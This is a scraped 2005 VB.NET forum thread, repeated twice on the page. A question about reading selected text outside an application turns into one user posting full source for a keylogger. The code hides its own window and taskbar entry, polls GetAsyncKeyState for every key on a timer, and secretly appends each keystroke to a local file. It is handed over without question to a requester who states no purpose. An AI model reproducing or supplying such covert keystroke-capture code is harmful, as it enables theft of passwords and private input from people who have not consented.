Programming Forums > Application Development > Visual Basic .NET

squishiful · Jun 22nd, 2005, 10:34 PM

Can you access the selected text on a computer anywhere even outside the application, then take the text and write it to a file? This might be a reach or outside of the capabilities of VB.NET, but I don't know so please help, and if its impossible please tell me. Thanx!

melbolt · Jun 23rd, 2005, 1:02 AM

if you want to work with stuff outside of your forms, you'll probably need to call unmanaged code (API's such as win32).

I just made a simple keylogger in .NET and this was one of the problems I encountered, I had to make a call out to some unmanaged code to achieve this. as for selected text, if you search around enough you can probably find the right thing to call to do something like that this way.

I believe there is an API function somewhere to get the selected text and place it in the clipboard, from here it would be easily retrievable from within your program by using a .NET class.

maybe try searching around here?
http://msdn.microsoft.com/library/de...pboarddata.asp

let me know if you figure anything out.

by the way, how are you planning on triggering the event?

what i mean is, does everything that is selected get copied, or are you going to click a button to make it happen or what?

edit: there's probably a way to save it to a file without using the clipboard at all, i'll look more into it later, i gotta get to bed for now though.

squishiful · Jun 23rd, 2005, 11:06 AM

Well when they press a button it will get the selected text, do you have a link to the key logger you made, I'd like to check it out, with the source if possible, thanx!

melbolt · Jun 24th, 2005, 1:59 AM

Quote:

Originally Posted by squishiful

Well when they press a button it will get the selected text, do you have a link to the key logger you made, I'd like to check it out, with the source if possible, thanx!

yea, i've got it on my laptop at work, i'll post the source up tomorrow when i'm at work.

melbolt · Jun 24th, 2005, 4:14 PM

it's pretty simple, here ya go

(Toggle Plain Text)

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Visible = False
        Me.ShowInTaskbar = False
        Timer1.Enabled = True
        Timer1.Start()
    End Sub

  
    Dim result As Integer
    Dim i As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    

        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                File.AppendAllText("C:\bla.txt", Chr(i))
            End If
        Next i

    End Sub


End Class

squishiful · Jun 24th, 2005, 9:03 PM

kewl thanx!

Jun 22nd, 2005, 10:34 PM	#1
squishiful Programmer Join Date: Jun 2005 Location: Amittyville Posts: 60 Rep Power: 4	Accessing the Selected Text Can you access the selected text on a computer anywhere even outside the application, then take the text and write it to a file? This might be a reach or outside of the capabilities of VB.NET, but I don't know so please help, and if its impossible please tell me. Thanx! __________________ I steal hippos...

Jun 23rd, 2005, 1:02 AM	#2
melbolt Professional Programmer Join Date: Feb 2005 Location: PA, USA Posts: 254 Rep Power: 4	if you want to work with stuff outside of your forms, you'll probably need to call unmanaged code (API's such as win32). I just made a simple keylogger in .NET and this was one of the problems I encountered, I had to make a call out to some unmanaged code to achieve this. as for selected text, if you search around enough you can probably find the right thing to call to do something like that this way. I believe there is an API function somewhere to get the selected text and place it in the clipboard, from here it would be easily retrievable from within your program by using a .NET class. maybe try searching around here? http://msdn.microsoft.com/library/de...pboarddata.asp let me know if you figure anything out. by the way, how are you planning on triggering the event? what i mean is, does everything that is selected get copied, or are you going to click a button to make it happen or what? edit: there's probably a way to save it to a file without using the clipboard at all, i'll look more into it later, i gotta get to bed for now though. __________________ I have never let my schooling interfere with my education. -Mark Twain- Xbox live gamertag: melbolt Last edited by melbolt; Jun 23rd, 2005 at 1:39 AM.

Jun 23rd, 2005, 11:06 AM	#3
squishiful Programmer Join Date: Jun 2005 Location: Amittyville Posts: 60 Rep Power: 4	Well when they press a button it will get the selected text, do you have a link to the key logger you made, I'd like to check it out, with the source if possible, thanx! __________________ I steal hippos...

Jun 24th, 2005, 4:14 PM	#5
melbolt Professional Programmer Join Date: Feb 2005 Location: PA, USA Posts: 254 Rep Power: 4	it's pretty simple, here ya go (Toggle Plain Text) Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.Visible = False Me.ShowInTaskbar = False Timer1.Enabled = True Timer1.Start() End Sub Dim result As Integer Dim i As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then File.AppendAllText("C:\bla.txt", Chr(i)) End If Next i End Sub End Class Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.Visible = False Me.ShowInTaskbar = False Timer1.Enabled = True Timer1.Start() End Sub Dim result As Integer Dim i As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then File.AppendAllText("C:\bla.txt", Chr(i)) End If Next i End Sub End Class __________________ I have never let my schooling interfere with my education. -Mark Twain- Xbox live gamertag: melbolt

Jun 24th, 2005, 9:03 PM	#6
squishiful Programmer Join Date: Jun 2005 Location: Amittyville Posts: 60 Rep Power: 4	kewl thanx! __________________ I steal hippos...

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Programming Forums > Application Development > Visual Basic .NET

Accessing the Selected Text